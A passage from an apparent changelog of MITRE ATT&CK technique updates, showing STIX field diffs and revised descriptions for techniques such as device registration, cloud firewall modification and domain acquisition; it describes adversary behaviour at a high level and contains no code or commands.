| allow for storage of information, typically to facilitate co | | allow for storage of information, typically to facilitate co |
| llaboration or information sharing between users, and can st | | llaboration or information sharing between users, and can st |
| ore a wide variety of data that may aid adversaries in furth | | ore a wide variety of data that may aid adversaries in furth |
| er objectives, or direct access to the target information. A | | er objectives, such as Credential Access, Lateral Movement, |
| dversaries may also abuse external sharing features to share | | or Defense Evasion, or direct access to the target informati |
| sensitive documents with recipients outside of the organiza | | on. Adversaries may also abuse external sharing features to |
| tion. The following is a brief list of example information | | share sensitive documents with recipients outside of the org |
| that may hold potential value to an adversary and may also | | anization (i.e., [Transfer Data to Cloud Account](https://at |
| be found on an information repository: * Policies, procedur | | tack.mitre.org/techniques/T1537)). The following is a brie |
| es, and standards * Physical / logical network diagrams * Sy | | f list of example information that may hold potential value |
| stem architecture diagrams * Technical system documentation | | to an adversary and may also be found on an information repo |
| * Testing / development credentials * Work / project schedul | | sitory: * Policies, procedures, and standards * Physical / |
| es * Source code snippets * Links to network shares and othe | | logical network diagrams * System architecture diagrams * Te |
| r internal resources Information stored in a repository may | | chnical system documentation * Testing / development credent |
| vary based on the specific instance or environment. Specifi | | ials (i.e., [Unsecured Credentials](https://attack.mitre.org |
| c common information repositories include web-based platform | | /techniques/T1552)) * Work / project schedules * Source cod |
| s such as [Sharepoint](https://attack.mitre.org/techniques/T | | e snippets * Links to network shares and other internal reso |
| 1213/002) and [Confluence](https://attack.mitre.org/techniqu | | urces * Contact or other sensitive information about busines |
| es/T1213/001), specific services such as Code Repositories, | | s partners and customers, including personally identifiable |
| IaaS databases, enterprise databases, and other storage infr | | information (PII) Information stored in a repository may v |
| astructure such as SQL Server. | | ary based on the specific instance or environment. Specific |
| | | common information repositories include the following: * St |
| | | orage services such as IaaS databases, enterprise databases, |
| | | and more specialized platforms such as customer relationshi |
| | | p management (CRM) databases * Collaboration platforms such |
| | | as SharePoint, Confluence, and code repositories * Messagin |
| | | g platforms such as Slack and Microsoft Teams In some case |
| | | s, information repositories have been improperly secured, ty |
| | | pically by unintentionally allowing for overly-broad access |
| | | by all users or even public access to unauthenticated users. |
| | | This is particularly common with cloud-native or cloud-host |
| | | ed services, such as AWS Relational Database Service (RDS), |
| | | Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMi |
| | | cro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 202 |
| | | 2) |
New Mitigations:
- M1041: Encrypt Sensitive Information
- M1054: Software Configuration
- M1060: Out-of-Band Communications Channel
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 16:27:47.391000+00:00 | 2024-10-28 19:10:16.960000+00:00 |
| description | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)
Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:
* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases
* Collaboration platforms such as SharePoint, Confluence, and code repositories
* Messaging platforms such as Slack and Microsoft Teams
In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022) |
| x_mitre_version | 3.3 | 3.4 |
| x_mitre_platforms[5] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Mitiga', 'description': 'Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again — How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.', 'url': 'https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots'} |
| external_references | | {'source_name': 'TrendMicro Exposed Redis 2020', 'description': 'David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.', 'url': 'https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html'} |
| external_references | | {'source_name': 'Cybernews Reuters Leak 2022', 'description': 'Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.', 'url': 'https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/'} |
| x_mitre_contributors | | Obsidian Security |
| x_mitre_contributors | | Naveen Vijayaraghavan |
| x_mitre_contributors | | Nilesh Dherange (Gurucul) |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_platforms | Office 365 | |
[T1078.001] Valid Accounts: Default Accounts
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
- M1032: Multi-factor Authentication
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-07 14:27:04.770000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1578.003] Modify Cloud Compute Infrastructure: Delete Cloud Instance
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Arun Seelagan, CISA'] |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:02.083000+00:00 | 2024-09-30 13:28:37.415000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_version | 1.1 | 1.2 |
[T1098.005] Account Manipulation: Device Registration
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may register a device to an adversary-controlled | t | Adversaries may register a device to an adversary-controlled |
| account. Devices may be registered in a multifactor authent | | account. Devices may be registered in a multifactor authent |
| ication (MFA) system, which handles authentication to the ne | | ication (MFA) system, which handles authentication to the ne |
| twork, or in a device management system, which handles devic | | twork, or in a device management system, which handles devic |
| e access and compliance. MFA systems, such as Duo or Okta, | | e access and compliance. MFA systems, such as Duo or Okta, |
| allow users to associate devices with their accounts in orde | | allow users to associate devices with their accounts in orde |
| r to complete MFA requirements. An adversary that compromise | | r to complete MFA requirements. An adversary that compromise |
| s a user’s credentials may enroll a new device in order to b | | s a user’s credentials may enroll a new device in order to b |
| ypass initial MFA requirements and gain persistent access to | | ypass initial MFA requirements and gain persistent access to |
| a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar |
| kReading FireEye SolarWinds) In some cases, the MFA self-enr | | kReading FireEye SolarWinds) In some cases, the MFA self-enr |
| ollment process may require only a username and password to | | ollment process may require only a username and password to |
| enroll the account's first device or to enroll a device to a | | enroll the account's first device or to enroll a device to a |
| n inactive account. (Citation: Mandiant APT29 Microsoft 365 | | n inactive account. (Citation: Mandiant APT29 Microsoft 365 |
| 2022) Similarly, an adversary with existing access to a net | | 2022) Similarly, an adversary with existing access to a net |
| work may register a device to Azure AD and/or its device man | | work may register a device to Entra ID and/or its device man |
| agement system, Microsoft Intune, in order to access sensiti | | agement system, Microsoft Intune, in order to access sensiti |
| ve data or resources while bypassing conditional access poli | | ve data or resources while bypassing conditional access poli |
| cies.(Citation: AADInternals - Device Registration)(Citation | | cies.(Citation: AADInternals - Device Registration)(Citation |
| : AADInternals - Conditional Access Bypass)(Citation: Micros | | : AADInternals - Conditional Access Bypass)(Citation: Micros |
| oft DEV-0537) Devices registered in Azure AD may be able t | | oft DEV-0537) Devices registered in Entra ID may be able t |
| o conduct [Internal Spearphishing](https://attack.mitre.org/ | | o conduct [Internal Spearphishing](https://attack.mitre.org/ |
| techniques/T1534) campaigns via intra-organizational emails, | | techniques/T1534) campaigns via intra-organizational emails, |
| which are less likely to be treated as suspicious by the em | | which are less likely to be treated as suspicious by the em |
| ail client.(Citation: Microsoft - Device Registration) Addit | | ail client.(Citation: Microsoft - Device Registration) Addit |
| ionally, an adversary may be able to perform a [Service Exha | | ionally, an adversary may be able to perform a [Service Exha |
| ustion Flood](https://attack.mitre.org/techniques/T1499/002) | | ustion Flood](https://attack.mitre.org/techniques/T1499/002) |
| on an Azure AD tenant by registering a large number of devi | | on an Entra ID tenant by registering a large number of devi |
| ces.(Citation: AADInternals - BPRT) | | ces.(Citation: AADInternals - BPRT) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-03 17:38:39.065000+00:00 | 2024-09-25 20:39:53.597000+00:00 |
| description | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)
Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT) | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)
Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT) |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | SaaS | |
[T1498.001] Network Denial of Service: Direct Network Flood
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:53.685000+00:00 | 2024-10-15 15:54:49.943000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1562.007] Impair Defenses: Disable or Modify Cloud Firewall
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may disable or modify a firewall within a cloud | t | Adversaries may disable or modify a firewall within a cloud |
| environment to bypass controls that limit access to cloud re | | environment to bypass controls that limit access to cloud re |
| sources. Cloud firewalls are separate from system firewalls | | sources. Cloud firewalls are separate from system firewalls |
| that are described in [Disable or Modify System Firewall](ht | | that are described in [Disable or Modify System Firewall](ht |
| tps://attack.mitre.org/techniques/T1562/004). Cloud enviro | | tps://attack.mitre.org/techniques/T1562/004). Cloud enviro |
| nments typically utilize restrictive security groups and fir | | nments typically utilize restrictive security groups and fir |
| ewall rules that only allow network activity from trusted IP | | ewall rules that only allow network activity from trusted IP |
| addresses via expected ports and protocols. An adversary ma | | addresses via expected ports and protocols. An adversary wi |
| y introduce new firewall rules or policies to allow access i | | th appropriate permissions may introduce new firewall rules |
| nto a victim cloud environment. For example, an adversary ma | | or policies to allow access into a victim cloud environment |
| y use a script or utility that creates new ingress rules in | | and/or move laterally from the cloud control plane to the da |
| existing security groups to allow any TCP/IP connectivity, o | | ta plane. For example, an adversary may use a script or util |
| r remove networking limitations to support traffic associate | | ity that creates new ingress rules in existing security grou |
| d with malicious activity (such as cryptomining).(Citation: | | ps (or creates new security groups entirely) to allow any TC |
| Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromise | | P/IP connectivity to a cloud-hosted instance.(Citation: Palo |
| d Cloud Compute Credentials 2022) Modifying or disabling a | | Alto Unit 42 Compromised Cloud Compute Credentials 2022) Th |
| cloud firewall may enable adversary C2 communications, later | | ey may also remove networking limitations to support traffic |
| al movement, and/or data exfiltration that would otherwise n | | associated with malicious activity (such as cryptomining).( |
| ot be allowed. | | Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 |
| | | Compromised Cloud Compute Credentials 2022) Modifying or di |
| | | sabling a cloud firewall may enable adversary C2 communicati |
| | | ons, lateral movement, and/or data exfiltration that would o |
| | | therwise not be allowed. It may also be used to open up reso |
| | | urces for [Brute Force](https://attack.mitre.org/techniques/ |
| | | T1110) or [Endpoint Denial of Service](https://attack.mitre. |
| | | org/techniques/T1499). |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 00:25:36.502000+00:00 | 2024-10-16 19:38:57.374000+00:00 |
| description | Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. | Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
[T1562.008] Impair Defenses: Disable or Modify Cloud Logs
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 21:13:56.431000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
| x_mitre_platforms[2] | Google Workspace | Office Suite |
| x_mitre_platforms[3] | Azure AD | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1556.001] Modify Authentication Process: Domain Controller Authentication
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-20 20:10:26.613000+00:00 | 2024-08-21 15:26:54.386000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
[T1568.002] Dynamic Resolution: Domain Generation Algorithms
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-11 18:26:23.432000+00:00 | 2024-10-15 15:55:16.111000+00:00 |
| external_references[5]['url'] | https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html | https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e |
| x_mitre_version | 1.0 | 1.1 |
[T1484] Domain or Tenant Policy Modification
Current version: 3.1
Version changed from: 3.0 → 3.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:27:31.884000+00:00 | 2024-10-15 15:55:32.946000+00:00 |
| external_references[9]['description'] | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024. |
| external_references[9]['url'] | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ | https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/ |
| x_mitre_version | 3.0 | 3.1 |
| x_mitre_platforms[1] | Azure AD | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | SaaS | |
[T1583.001] Acquire Infrastructure: Domains
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may acquire domains that can be used during targ | t | Adversaries may acquire domains that can be used during targ |
| eting. Domain names are the human readable names used to rep | | eting. Domain names are the human readable names used to rep |
| resent one or more IP addresses. They can be purchased or, i | | resent one or more IP addresses. They can be purchased or, i |
| n some cases, acquired for free. Adversaries may use acquir | | n some cases, acquired for free. Adversaries may use acquir |
| ed domains for a variety of purposes, including for [Phishin | | ed domains for a variety of purposes, including for [Phishin |
| g](https://attack.mitre.org/techniques/T1566), [Drive-by Com | | g](https://attack.mitre.org/techniques/T1566), [Drive-by Com |
| promise](https://attack.mitre.org/techniques/T1189), and Com | | promise](https://attack.mitre.org/techniques/T1189), and Com |
| mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m | | mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m |
| ay choose domains that are similar to legitimate domains, in | | ay choose domains that are similar to legitimate domains, in |
| cluding through use of homoglyphs or use of a different top- | | cluding through use of homoglyphs or use of a different top- |
| level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa | | level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa |
| lScam) Typosquatting may be used to aid in delivery of paylo | | lScam) Typosquatting may be used to aid in delivery of paylo |
| ads via [Drive-by Compromise](https://attack.mitre.org/techn | | ads via [Drive-by Compromise](https://attack.mitre.org/techn |
| iques/T1189). Adversaries may also use internationalized dom | | iques/T1189). Adversaries may also use internationalized dom |
| ain names (IDNs) and different character sets (e.g. Cyrillic | | ain names (IDNs) and different character sets (e.g. Cyrillic |
| , Greek, etc.) to execute "IDN homograph attacks," creating | | , Greek, etc.) to execute "IDN homograph attacks," creating |
| visually similar lookalike domains used to deliver malware t | | visually similar lookalike domains used to deliver malware t |
| o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt | | o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt |
| _httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht | | _httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht |
| track_unhcr)(Citation: lazgroup_idn_phishing) Different URI | | track_unhcr)(Citation: lazgroup_idn_phishing) Different URI |
| s/URLs may also be dynamically generated to uniquely serve m | | s/URLs may also be dynamically generated to uniquely serve m |
| alicious content to victims (including one-time, single use | | alicious content to victims (including one-time, single use |
| domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita | | domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita |
| tion: URI Use)(Citation: URI Unique) Adversaries may also a | | tion: URI Use)(Citation: URI Unique) Adversaries may also a |
| cquire and repurpose expired domains, which may be potential | | cquire and repurpose expired domains, which may be potential |
| ly already allowlisted/trusted by defenders based on an exis | | ly already allowlisted/trusted by defenders based on an exis |
| ting reputation/history.(Citation: Categorisation_not_bounda | | ting reputation/history.(Citation: Categorisation_not_bounda |
| ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_ | | ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_ |
| Fronting)(Citation: bypass_webproxy_filtering) Domain regis | | Fronting)(Citation: bypass_webproxy_filtering) Domain regis |
| trars each maintain a publicly viewable database that displa | | trars each maintain a publicly viewable database that displa |
| ys contact information for every registered domain. Private | | ys contact information for every registered domain. Private |
| WHOIS services display alternative information, such as thei | | WHOIS services display alternative information, such as thei |
| r own company data, rather than the owner of the domain. Adv | | r own company data, rather than the owner of the domain. Adv |
| ersaries may use such private WHOIS services to obscure info | | ersaries may use such private WHOIS services to obscure info |
| rmation about who owns a purchased domain. Adversaries may f | | rmation about who owns a purchased domain. Adversaries may f |
| urther interrupt efforts to track their infrastructure by us | | urther interrupt efforts to track their infrastructure by us |
| ing varied registration information and purchasing domains w | | ing varied registration information and purchasing domains w |
| ith different domain registrars.(Citation: Mandiant APT1) | | ith different domain registrars.(Citation: Mandiant APT1) I |
| | | n addition to legitimately purchasing a domain, an adversary |
| | | may register a new domain in a compromised environment. For |
| | | example, in AWS environments, adversaries may leverage the |
| | | Route53 domain service to register a domain and create hoste |
| | | d zones pointing to resources of the threat actor’s choosing |
| | | .(Citation: Invictus IR DangerDev 2024) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-28 15:55:55.068000+00:00 | 2024-09-25 15:26:00.047000+00:00 |
| description | Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)
Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)
Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)
Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) | Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)
Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)
Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)
Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.(Citation: Invictus IR DangerDev 2024) |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Invictus IR DangerDev 2024', 'description': 'Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.', 'url': 'https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me'} |
[T1584.001] Compromise Infrastructure: Domains
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may hijack domains and/or subdomains that can be | t | Adversaries may hijack domains and/or subdomains that can be |
| used during targeting. Domain registration hijacking is the | | used during targeting. Domain registration hijacking is the |
| act of changing the registration of a domain name without t | | act of changing the registration of a domain name without t |
| he permission of the original registrant.(Citation: ICANNDom | | he permission of the original registrant.(Citation: ICANNDom |
| ainNameHijacking) Adversaries may gain access to an email ac | | ainNameHijacking) Adversaries may gain access to an email ac |
| count for the person listed as the owner of the domain. The | | count for the person listed as the owner of the domain. The |
| adversary can then claim that they forgot their password in | | adversary can then claim that they forgot their password in |
| order to make changes to the domain registration. Other poss | | order to make changes to the domain registration. Other poss |
